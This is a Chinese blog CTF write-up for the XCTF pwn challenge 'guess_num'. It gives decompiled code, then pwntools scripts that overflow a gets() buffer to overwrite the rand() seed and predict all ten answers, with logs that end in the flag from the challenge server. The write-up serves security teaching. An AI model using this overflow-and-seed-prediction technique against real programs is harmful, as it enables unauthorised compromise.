guess_num [XCTF-PWN]CTF writeup系列8

28 篇文章 10 订阅

题目地址:guess_num

先看看题目情况

400

 照例下载附件,做保护机制检查

root@mypwn:/ctf/work/python# checksec d22084e1938f4b21a380e38e2fb48629
[*] '/ctf/work/python/d22084e1938f4b21a380e38e2fb48629'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

这次是保护机制全开,那就不多想了,直接拿出ida吧。

程序不多,反编译成c语言,3个函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  FILE *v3; // rdi
  const char *v4; // rdi
  int v6; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v8; // [rsp+Ch] [rbp-34h]
  char v9; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v3 = stderr;
  setbuf(stderr, 0LL);
  v6 = 0;
  v8 = 0;
  *(_QWORD *)seed = sub_BB0(v3, 0LL);
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");
  gets(&v9);
  v4 = (const char *)seed[0];
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v8 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v6);
    puts("---------------------------------");
    if ( v6 != v8 )
    {
      puts("GG!");
      exit(1);
    }
    v4 = "Success!";
    puts("Success!");
  }
  sub_C3E(v4);
  return 0LL;
}

__int64 sub_C3E()
{
  printf("You are a prophet!\nHere is your flag!");
  system("cat flag");
  return 0LL;
}

__int64 sub_BB0()
{
  int fd; // [rsp+Ch] [rbp-14h]
  __int64 buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || (signed int)read(fd, &buf, 8uLL) < 0 )
    exit(1);
  if ( fd > 0 )
    close(fd);
  return buf;
}

sub_C3E()函数就是直接给出了结果,那我们逆推一下,看下什么条件可以走到sub_C3E()。

注意到main函数中有两个感兴趣到地方:

1、gets这里有溢出漏洞

2、这是一个伪随机数问题,只需要把随机种子设置成固定值,就可以通过反复测试或设置同种子来生成伪随机数

  char v9; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]

我们看到v9和seed变量之间的地址偏差是0x20,那么我们就可以构造payload:

payload = 'A'*0x20 + p64(1)

前面0x20个A是赋值给v9,64位整数1是赋值给seed[0]。

那么我们根据payload来编写python脚本:

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./d22084e1938f4b21a380e38e2fb48629')
# p = remote("111.198.29.45", 39368)

payload = 'A'*0x20 + p64(1)

p.sendlineafter('Your name:', payload)
p.interactive()

执行之后的情况如下,我们可以多次猜测同一位置的随机数

root@mypwn:/ctf/work/python# python guess_num.py 
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 62
[*] Switching to interactive mode
-------------Turn:1-------------
Please input your guess number:$ 1
---------------------------------
GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 62)
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
root@mypwn:/ctf/work/python# python guess_num.py 
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 72
[*] Switching to interactive mode
-------------Turn:1-------------
Please input your guess number:$ 2
---------------------------------
Success!
-------------Turn:2-------------
Please input your guess number:$ 1
---------------------------------
GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 72)
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
root@mypwn:/ctf/work/python# python guess_num.py 
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 77
[*] Switching to interactive mode
-------------Turn:1-------------
Please input your guess number:$ 2
---------------------------------
Success!
-------------Turn:2-------------
Please input your guess number:$ 2
---------------------------------
GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 77)
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
root@mypwn:/ctf/work/python# python guess_num.py 
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 82
[*] Switching to interactive mode
-------------Turn:1-------------
Please input your guess number:$ 2
---------------------------------
Success!
-------------Turn:2-------------
Please input your guess number:$ 3
---------------------------------
GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 82)
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
root@mypwn:/ctf/work/python# python guess_num.py 
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 87
[*] Switching to interactive mode
-------------Turn:1-------------
Please input your guess number:$ 2
---------------------------------
Success!
-------------Turn:2-------------
Please input your guess number:$ 4
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 87)
---------------------------------
GG!
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
root@mypwn:/ctf/work/python# python guess_num.py 
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 92
[*] Switching to interactive mode
-------------Turn:1-------------
Please input your guess number:$ 2
---------------------------------
Success!
-------------Turn:2-------------
Please input your guess number:$ 5
---------------------------------
Success!
-------------Turn:3-------------
Please input your guess number:$ 1
---------------------------------
GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 92)
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
root@mypwn:/ctf/work/python# 

在上面我们已经拆解出了2轮数字了。这个只是给大家演示一下什么叫伪随机数。

那么下面我们加上libc,直接设置同样的随机数种子来生成随机数,python脚本如下:

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *
from ctypes import *

p = process('./d22084e1938f4b21a380e38e2fb48629')
# p = remote("111.198.29.45", 39368)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload = 'A'*0x20 + p64(1)

p.sendlineafter('Your name:', payload)
libc.srand(1)
for i in range(10):
    num = str(libc.rand()%6 + 1)
    print num + '\n'
    p.sendlineafter('number:',num)
p.interactive()

执行结果如下:

root@mypwn:/ctf/work/python# python guess_num.py 
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 101
2

5

4

2

6

2

5

1

4

2

[*] Switching to interactive mode
---------------------------------
Success!
You are a prophet!
Here is your flag!cat: flag: No such file or directory
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 0 (pid 101)
[*] Got EOF while reading in interactive
$  

好的,本地测试没有问题,那我们就调整一下到服务器上运行:

root@mypwn:/ctf/work/python# python guess_num.py 
[+] Opening connection to 111.198.29.45 on port 31433: Done
2

5

4

2

6

2

5

1

4

2

[*] Switching to interactive mode
---------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace{128a0308b8d1a018cec257591fc4a2ea}
[*] Got EOF while reading in interactive
$  

同样成功了,顺利拿到了flag。

这个题目主要掌握的知识点就是伪随机数。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值